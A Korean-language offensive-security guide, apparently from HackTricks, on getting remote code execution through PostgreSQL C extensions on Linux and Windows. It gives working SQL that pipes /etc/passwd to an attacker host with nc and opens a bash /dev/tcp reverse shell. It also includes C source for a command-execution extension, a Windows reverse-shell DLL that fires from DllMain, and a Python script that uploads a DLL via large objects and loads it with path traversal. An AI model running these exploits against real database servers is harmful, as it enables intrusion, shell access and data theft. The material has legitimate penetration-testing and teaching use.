RCE with PostgreSQL Extensions

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

PostgreSQL 확장 기능

PostgreSQL은 확장성을 핵심 기능으로 개발되어 있어 내장된 기능처럼 확장을 원활하게 통합할 수 있습니다. 이러한 확장은 C로 작성된 라이브러리로, 데이터베이스에 추가적인 함수, 연산자 또는 유형을 제공합니다.

8.1 버전부터 확장 라이브러리에는 특별한 헤더로 컴파일해야 하는 특정 요구 사항이 있습니다. 이를 충족하지 않으면 PostgreSQL에서 실행되지 않으므로 호환되는 확장 기능만 사용되고 잠재적으로 안전한 확장 기능만 사용됩니다.

또한, PostgreSQL을 악용하여 피해자에게 파일을 업로드하는 방법을 모르는 경우 이 게시물을 읽어보세요.

Linux에서의 RCE

자세한 정보는 다음을 참조하세요: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. Metasploit 모듈을 사용할 수 있습니다.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
base64로부터 이진 파일 작성하기

PostgreSQL에서 이진 파일을 작성하려면 base64를 사용해야 할 수 있습니다. 이를 위해 다음과 같은 방법을 사용할 수 있습니다:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

그러나 더 높은 버전에서 시도할 때 다음과 같은 오류가 표시되었습니다:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

이 오류는 PostgreSQL 문서에서 설명되어 있습니다:

동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해 PostgreSQL은 파일에 적절한 내용을 포함하는 "마법 블록"이 있는지 확인합니다. 이를 통해 서버는 다른 주요 버전의 PostgreSQL에 대해 컴파일된 코드와 같은 명백한 호환성 문제를 감지할 수 있습니다. 마법 블록은 PostgreSQL 8.2부터 필요합니다. 마법 블록을 포함하려면 헤더 fmgr.h를 포함한 모듈 소스 파일 중 하나에 다음을 작성하십시오:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

PostgreSQL 버전 8.2부터 시스템을 악용하기 위한 공격자의 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환되는 주요 버전의 PostgreSQL에 대해 컴파일되어야 하며 특정 "마법 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 깊은 이해가 필요합니다.

라이브러리 컴파일하기

다음 명령을 사용하여 PostgreSQL 버전을 얻으세요:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

호환성을 위해 주요 버전이 일치하는 것이 중요합니다. 따라서 9.6.x 시리즈 내의 어떤 버전이든 라이브러리를 컴파일하면 성공적인 통합이 보장됩니다.

시스템에 해당 버전을 설치하려면 다음을 실행하세요:

apt install postgresql postgresql-server-dev-9.6

그리고 라이브러리를 컴파일하세요:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

그런 다음 컴파일된 라이브러리를 업로드하고 다음과 같이 명령을 실행하십시오:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

라이브러리는 미리 컴파일된 상태로 여러 가지 다른 PostgreSQL 버전에서 사용할 수 있으며, 다음과 같이 PostgreSQL에 액세스할 수 있다면 이 과정을 자동화할 수도 있습니다:

Windows에서의 RCE

다음 DLL은 바이너리의 이름과 실행 횟수인 숫자를 입력으로 받아 실행합니다:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

다음 zip 파일에서 DLL을 찾을 수 있습니다:

이 DLL에 실행할 이진 파일과 실행 횟수를 지정할 수 있습니다. 이 예제에서는 calc.exe를 2번 실행합니다:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

여기에서 이 리버스 쉘을 찾을 수 있습니다:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

다음 사례에서는 악성 코드가 DllMain 함수 내에 있음에 유의하세요. 이는 이 경우에는 postgresql에서 로드된 함수를 실행할 필요가 없다는 것을 의미합니다. DLL을 로드하는 것만으로도 역쉘이 실행됩니다.

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE in newest Prostgres versions

PostgreSQL의 최신 버전에서는 superuser가 특정 디렉토리(예: Windows의 C:\Program Files\PostgreSQL\11\lib 또는 *nix 시스템의 /var/lib/postgresql/11/lib) 이외의 공유 라이브러리 파일을 로드하는 것이 금지되는 제한이 있습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업으로부터 보호됩니다.

그러나 이러한 제한에도 불구하고, 인증된 데이터베이스 superuser는 "large objects"를 사용하여 파일 시스템에 바이너리 파일을 작성할 수 있습니다. 이 기능은 데이터베이스 작업(테이블 업데이트 또는 생성과 같은)에 필수적인 C:\Program Files\PostgreSQL\11\data 디렉토리 내에서 작성하는 것을 포함합니다.

CREATE FUNCTION 명령에서는 데이터 디렉토리로의 디렉토리 이동(traversal)을 허용합니다. 따라서 인증된 공격자는 이러한 이동을 악용하여 공유 라이브러리 파일을 데이터 디렉토리에 작성한 다음 로드할 수 있습니다. 이 취약점을 이용하면 공격자는 임의의 코드를 실행하여 시스템에서 네이티브 코드 실행을 달성할 수 있습니다.

공격 흐름

먼저 "large objects"를 사용하여 dll을 업로드해야 합니다. 이를 수행하는 방법은 다음에서 확인할 수 있습니다:

pageBig Binary Files Upload (PostgreSQL)

이 예제에서는 poc.dll이라는 이름으로 확장을 데이터 디렉토리에 업로드한 후 다음과 같이 로드할 수 있습니다:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

참고로 .dll 확장자를 추가할 필요는 없습니다. create 함수가 자동으로 추가합니다.

더 많은 정보는 원본 게시물읽어보세요. 해당 게시물에서는 postgres 확장 기능을 생성하는 데 사용된 코드가 제공되었습니다. (postgres 확장 기능을 컴파일하는 방법은 이전 버전 중 하나를 읽어보세요). 동일한 페이지에서 이 기술을 자동화하는 이 취약점을 악용하는 도구가 제공되었습니다.

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated